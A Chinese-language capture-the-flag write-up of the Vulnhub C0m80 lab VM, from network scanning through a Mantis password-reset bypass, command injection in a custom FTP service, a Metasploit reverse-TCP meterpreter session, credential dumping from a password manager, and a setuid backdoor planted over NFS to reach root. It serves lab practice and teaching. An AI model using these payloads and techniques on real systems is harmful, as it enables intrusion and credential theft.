
Vulnhub C0m80_3mrgnc3_v1.0

信息收集

```
# root @ kali in ~ [16:55:54]
$ arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.17.1    00:50:56:c0:00:08    VMware, Inc.
192.168.17.2    00:50:56:ee:36:e8    VMware, Inc.
192.168.17.140 00:0c:29:4e:9a:07    VMware, Inc.
192.168.17.254 00:50:56:e7:af:0c    VMware, Inc.

7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.986 seconds (85.73 hosts/sec). 4 responded

# root @ kali in ~ [16:56:07]
$ nmap -sV -T4 -A -p- 192.168.17.140
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-20 16:56 CST
Nmap scan report for 192.168.17.140
Host is up (0.00072s latency).
Not shown: 65524 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 6.0
|_http-server-header: Microsoft-IIS/6.0
|_http-title: BestestSoftware Ltd.
111/tcp   open  rpcbind      2-4 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000   2,3,4      111/tcp    rpcbind
|   100000   2,3,4      111/udp    rpcbind
|   100003   2,3,4      2049/tcp   nfs
|   100003   2,3,4      2049/udp   nfs
|   100005   1,2,3      41829/tcp  mountd
|   100005   1,2,3      47224/udp  mountd
|   100021   1,3,4      36722/udp  nlockmgr
|   100021   1,3,4      40159/tcp  nlockmgr
|   100024   1          46663/udp  status
|   100024   1          58447/tcp  status
|   100227   2,3        2049/tcp   nfs_acl
|_ 100227   2,3        2049/udp   nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl      2-3 (RPC #100227)
20021/tcp open  unknown

| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, HTTPOptions, RPCCheck, RTSPRequest:
|     220 bestFTPserver 1.0.4 ready...
|     ftp>
|     Unknown ftp command
|     ftp>
|   GetRequest:
|     220 bestFTPserver 1.0.4 ready...
|     ftp>
|     (remote-file)
|     usage: get remote-file [ local-file ]
|     ftp>
|   Help:
|     220 bestFTPserver 1.0.4 ready...
|     ftp>
|     Commands may be abbreviated.
|     Commands are:
```



```
Host script results:
|_clock-skew: mean: -20m00s, deviation: 34m38s, median: 0s
|_nbstat: NetBIOS name: COM80, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: c0m80
|   NetBIOS computer name: COM80\x00
|   Domain name: \x00
|   FQDN: c0m80
|_ System time: 2018-09-20T09:59:05+01:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_ Message signing enabled but not required
| smb2-time:
|   date: 2018-09-20 16:59:05
|_ start_date: N/A
```

TRACEROUTE

```
HOP RTT      ADDRESS
1   0.72 ms  192.168.17.140
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 175.16 seconds

root @ kali in ~ [17:15:58] C:255

\$ dirb http://192.168.17.140/ -N 403

```
-----
DIRB v2.22
By The Dark Raver
-----
```

```
START_TIME: Thu Sep 20 17:17:17 2018
URL_BASE: http://192.168.17.140/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Ignoring NOT_FOUND code -> 403
```

```
-----
GENERATED WORDS: 4612
```

```
---- Scanning URL: http://192.168.17.140/ ----
==> DIRECTORY: http://192.168.17.140/_vti_bin/
==> DIRECTORY: http://192.168.17.140/_vti_cnf/
==> DIRECTORY: http://192.168.17.140/_vti_log/
==> DIRECTORY: http://192.168.17.140/assets/
==> DIRECTORY: http://192.168.17.140/bin/
==> DIRECTORY: http://192.168.17.140/bugs/
==> DIRECTORY: http://192.168.17.140/dev/
+ http://192.168.17.140/favicon.ico (CODE:200|SIZE:15086)
==> DIRECTORY: http://192.168.17.140/images/
+ http://192.168.17.140/index.html (CODE:200|SIZE:8502)

---- Entering directory: http://192.168.17.140/_vti_bin/ ----
+ http://192.168.17.140/_vti_bin/index.html (CODE:200|SIZE:0)

---- Entering directory: http://192.168.17.140/_vti_cnf/ ----
+ http://192.168.17.140/_vti_cnf/index.html (CODE:200|SIZE:0)

---- Entering directory: http://192.168.17.140/_vti_log/ ----
+ http://192.168.17.140/_vti_log/index.html (CODE:200|SIZE:0)

---- Entering directory: http://192.168.17.140/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
```

```
---- Entering directory: http://192.168.17.140/bin/ ----
+ http://192.168.17.140/bin/index.html (CODE:200|SIZE:0)

---- Entering directory: http://192.168.17.140/bugs/ ----
==> DIRECTORY: http://192.168.17.140/bugs/admin/
==> DIRECTORY: http://192.168.17.140/bugs/api/
==> DIRECTORY: http://192.168.17.140/bugs/config/
==> DIRECTORY: http://192.168.17.140/bugs/core/
==> DIRECTORY: http://192.168.17.140/bugs/css/
+ http://192.168.17.140/bugs/debug (CODE:200|SIZE:23296)
==> DIRECTORY: http://192.168.17.140/bugs/doc/
==> DIRECTORY: http://192.168.17.140/bugs/fonts/
==> DIRECTORY: http://192.168.17.140/bugs/images/
+ http://192.168.17.140/bugs/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.17.140/bugs/js/
==> DIRECTORY: http://192.168.17.140/bugs/lang/
==> DIRECTORY: http://192.168.17.140/bugs/library/
==> DIRECTORY: http://192.168.17.140/bugs/plugins/
==> DIRECTORY: http://192.168.17.140/bugs/scripts/
==> DIRECTORY: http://192.168.17.140/bugs/vendor/

---- Entering directory: http://192.168.17.140/dev/ ----
+ http://192.168.17.140/dev/index.php (CODE:200|SIZE:0)
+ http://192.168.17.140/dev/info.php (CODE:200|SIZE:62831)

---- Entering directory: http://192.168.17.140/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/admin/ ----
==> DIRECTORY: http://192.168.17.140/bugs/admin/check/
+ http://192.168.17.140/bugs/admin/index.php (CODE:302|SIZE:0)

---- Entering directory: http://192.168.17.140/bugs/api/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/core/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/doc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
```

```
---- Entering directory: http://192.168.17.140/bugs/library/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.17.140/bugs/admin/check/ ----
+ http://192.168.17.140/bugs/admin/check/index.php (CODE:200|SIZE:6772)

-----
END_TIME: Thu Sep 20 17:17:43 2018
DOWNLOADED: 41508 - FOUND: 12
```

入侵后台

访问<http://192.168.17.140>看起来是一个静态页面
访问<http://192.168.17.140/dev/info.php>是一个phpinfo页面
访问http://192.168.17.140/bugs/login_page.php使用了Mantis
搜索Mantis的漏洞发现CVE-2017-7615
直接访问http://192.168.17.140/bugs/verify.php?id=1&confirm_hash= 可以绕过验证重置密码 但是有ip限制 不能登陆管理员账号
先重置guest账号的密码登陆 (guest账号的id)
在NotepadPussPuss++的修订历史中发现nfs 结合nmap的扫描结果 猜测需要访问nfs

摘要	0000006: Get started on developing NotepadPussPuss++
版本	2017-09-23 15:51 - Jeff
描述	<p>Bob,</p> <p>Mr Cheung has said he wants 110% on the development of NPP++.</p> <p>Get to work, thats what we pay you for.</p> <p>I've put the prototype application in the nfs share to assist you.</p> <p>Make sure you delete it from there (or get alice to do it if you are still having access issues) when you copied it.</p> <p>That is an order!</p> <p>Jeff.</p>
版本	2017-09-23 04:20 - Jeff
描述	<p>Bob,</p> <p>Mr Cheung has said he wants 110% on the development of NPP++.</p> <p>Get to work, thats what we pay you for.</p> <p>I've attached the prototype application to assist you.</p> <p>This is an order!</p> <p>Jeff.</p>

连接nfs服务器 发现新文件

```
# root @ kali in ~ [23:09:20]
$ showmount -e 192.168.17.140
Export list for 192.168.17.140:
/ftpsvr/bkp *

# root @ kali in ~ [23:09:35]
$ mount -t nfs 192.168.17.140:/ftpsvr/bkp /mnt/
```

```
# root @ kali in ~ [23:09:39]
$ ls /mnt
ftp104.bkp
```

ftp104.bkp是一个纯文本文件 记录了一个exe文件的16进制

分析exe发现与之前扫描出来的20021端口内容有一定的重合 nc连上去确定20021端口跑的就是这个exe
连接上去只能ls cd、get、put等命令都无效 查看了几个其他命令发现提示

```
ftp>status
Connected to 127.0.0.1
No proxy connection.
Connecting using address family: any.
Mode: stream; Type: binary; Form: non-print; Structure: file
Backup path: C:\wwwroot\dev\ftp104.bkp
Verbose: on; Bell: off; Prompting: off; Globbing: on
Store unique: off; Receive unique: off
Case: off; CR stripping: on
Quote control characters: on
Ntrans: off
Nmap: off
Hash mark printing: off; Use of PORT cmds: off
Tick counter printing: off

ftp>system
Bob was supposed to do this too!
He said there might be a BOUF in one of the commands to fix first?
Whatever that is? LOL
He spends too much time listening to his old cd's if you ask me!

Alice ;D
```

提示说有一个命令存在BOUF 不知道是什么东西

RCE

```
else if ( !strcmp(v69, "http:", 5u) || !strcmp(v69, "https:", 6u) )
{
    strcpy(v5, "BugReport Link Sent to Bob...\nftp>");
    v63 = (char *)concat("explorer ", v69);
    system(v63);
    free(v63);
    result = _send_16(s, v5, 36, 0);
    v72 = result;
}
```

ida分析了一下 发现发送url时 会被拼接到system里执行 从而导致命令执行 msf打一波

```
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(multi/browser/firefox_proto_crmfrequest) > set LHOST 192.168.17.139
LHOST => 192.168.17.139
msf exploit(multi/browser/firefox_proto_crmfrequest) > set target 1
target => 1
msf exploit(multi/browser/firefox_proto_crmfrequest) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/browser/firefox_proto_crmfrequest) > show options
```

Module options (exploit/multi/browser/firefox_proto_crmfrequest):

Name	Current Setting	Required	Description
----	-----	-----	-----
ADDONNAME	HTML5 Rendering Enhancements	yes	The addon name.
AutoUninstall	true	yes	Automatically uninstall the addon after payload execution
CONTENT		no	Content to display inside the HTML <body>.
Retries	true	no	Allow the browser to retry the module
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.17.139	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
1	Native Payload

msf exploit(multi/browser/firefox_proto_crmfrequest) > run

[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.17.139:4444

msf exploit(multi/browser/firefox_proto_crmfrequest) > [*] Using URL: http://0.0.0.0:8080/58ylkc3pg

[*] Local IP: http://192.168.17.139:8080/58ylkc3pg

[*] Server started.

[*] 192.168.17.140 firefox_proto_crmfrequest - Gathering target information for 192.168.17.140

[*] 192.168.17.140 firefox_proto_crmfrequest - Sending HTML response to 192.168.17.140

[*] 192.168.17.140 firefox_proto_crmfrequest - Sending HTML

[*] 192.168.17.140 firefox_proto_crmfrequest - Sending the malicious addon

[*] Sending stage (179779 bytes) to 192.168.17.140

[*] Meterpreter session 1 opened (192.168.17.139:4444 -> 192.168.17.140:37212) at 2018-09-21 09:31:57 +0800

msf exploit(multi/browser/firefox_proto_crmfrequest) > sessions -l

Active sessions

=====

Id	Name	Type	Information	Connection
--	----	----	-----	-----
1		meterpreter	x86/windows C0m80\b0b @ C0m80	192.168.17.139:4444 -> 192.168.17.140:37212 (192.168.17.140)

msf exploit(multi/browser/firefox_proto_crmfrequest) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : C0m80

OS : Windows XP (Build 2600, Service Pack 3).

Architecture : x86

System Language : en_GB

Domain : C0m80

Logged On Users : 1

Meterpreter : x86/windows

查看.ssh目录

meterpreter > ls

Listing: Z:\home\b0b\.ssh

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100666/rw-rw-rw-	181	fil	2017-09-23 11:32:09 +0800	.save~
100666/rw-rw-rw-	1766	fil	2017-09-23 04:05:59 +0800	id_rsa
100666/rw-rw-rw-	391	fil	2017-09-23 04:05:59 +0800	id_rsa.pub
100666/rw-rw-rw-	222	fil	2017-09-23 09:58:31 +0800	known_hosts

meterpreter > cat .save~

NO PASWORD HERE SRY

I'm using my new password manager

PWMangr2

just a note to say

WELL DONE & KEEP IT UP ;D

#####

meterpreter > search -f *PWMangr2*

Found 1 result...

c:\users\b0b\Application Data\Mozilla\Extensions\PWMangr2.html (71471 bytes)

meterpreter > download 'c:\users\b0b\Application Data\Mozilla\Extensions\PWMangr2.html'

[*] Downloading: c:\users\b0b\Application Data\Mozilla\Extensions\PWMangr2.html -> PWMangr2.html

[*] Downloaded 69.80 KiB of 69.80 KiB (100.0%): c:\users\b0b\Application Data\Mozilla\Extensions\PWMangr2.html -> PWMangr2.htm

[*] download : c:\users\b0b\Application Data\Mozilla\Extensions\PWMangr2.html -> PWMangr2.html

打开PWMangr2.html 需要输入密码 根据提示猜测密码为alice 成功登陆 获得所有密码

bob		Hide	Del
Username		Additional Info	password manager password (in case i forget it!)
Password	alice		

WondawsXP		Hide	Del
Username	b0b	Additional Info	for remote deskop
Password	AlicelsMyBestie		

Twotter		Show	Del
---------	--	------	-----

Focebork		Show	Del
----------	--	------	-----

GritStub		Show	Del
----------	--	------	-----

mysql		Hide	Del
Username	root	Additional Info	
Password	bobistheking		

backups		Hide	Del
Username	al1ce	Additional Info	for configuring the network share backups
Password	7M6Kt8tC8X5Qz99@Eeb8592Z\$Fd@u286		

ROOT SHELL

继续搜索上面ssh的信息 因为22端口没有开放 所以看一下ssh配置文件 发现只允许本地65122端口访问

meterpreter > cat sshd_config

Package generated configuration file

See the sshd_config(5) manpage for details

What ports, IPs and protocols we listen for

Port 65122

Use these options to restrict which interfaces/protocols sshd will bind to

ListenAddress ::1

#ListenAddress 127.0.0.1

.....

rdp没开 直接用b0b的密码登陆虚拟机 使用b0b的私钥去登陆al1ce账号

plink -l al1ce localhost -I id_rsa -P 65122


```

Activities >_Terminal Fri 21 Sep, 09:15:07 en1
bOb@C0m80: ~
File Edit View Search Terminal Help
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Sep 23 03:18:49 2017 from localhost
$ id
uid=1001(allce) gid=34(backup) groups=34(backup)
$ whoami
allce
$

```

通过nfs上传后门 修改后门权限为4777

```

# root @ kali in ~/pentest [16:29:55]
$ nfspsysh -o server=192.168.17.140:/ftpsvr/bkp
nfspsy@192.168.17.140:/ftpsvr/bkp:/> ls
/:
040770      0      34      4096 2017-09-23 09:37:01 .
100644     34      34     2757002 2018-09-21 16:29:01 ftp104.bkp
040770      0      34      4096 2017-09-23 09:37:01 ..
nfspsy@192.168.17.140:/ftpsvr/bkp:/> put ./shell
nfspsy@192.168.17.140:/ftpsvr/bkp:/> ls
/:
100644      0      34      207 2018-09-21 16:30:23 shell
040770      0      34      4096 2018-09-21 16:30:23 .
100644     34      34     2757002 2018-09-21 16:30:01 ftp104.bkp
040770      0      34      4096 2018-09-21 16:30:23 ..
nfspsy@192.168.17.140:/ftpsvr/bkp:/> chmod 4777 shell

```

msf监听

```
msf exploit(multi/handler) > run
```

```

[*] Started reverse TCP handler on 192.168.17.141:4444
[*] Sending stage (861480 bytes) to 192.168.17.140
[*] Meterpreter session 3 opened (192.168.17.141:4444 -> 192.168.17.140:37131) at 2018-09-21 16:32:18 +0800

```

```

meterpreter > shell
Process 6205 created.
Channel 1 created.
id
uid=1001(allce) gid=34(backup) euid=0(root) groups=0(root),34(backup)
whoami
root

```

```
cd /root
ls
flag.txt
cat flag.txt
```

WELL DONE

You dealt BestestSoftware a killer C0m80

I really hope you enjoyed the challenge
and learned a thing or two while on your
journey here.

Please leave feedback & comments at:

<https://3mrgnc3.ninja/>

All the best.

3mrgnc3
iD

ROOT FLAG

K1l13rC0m80D3@l7&i5mash3dth1580x

#####

DONE

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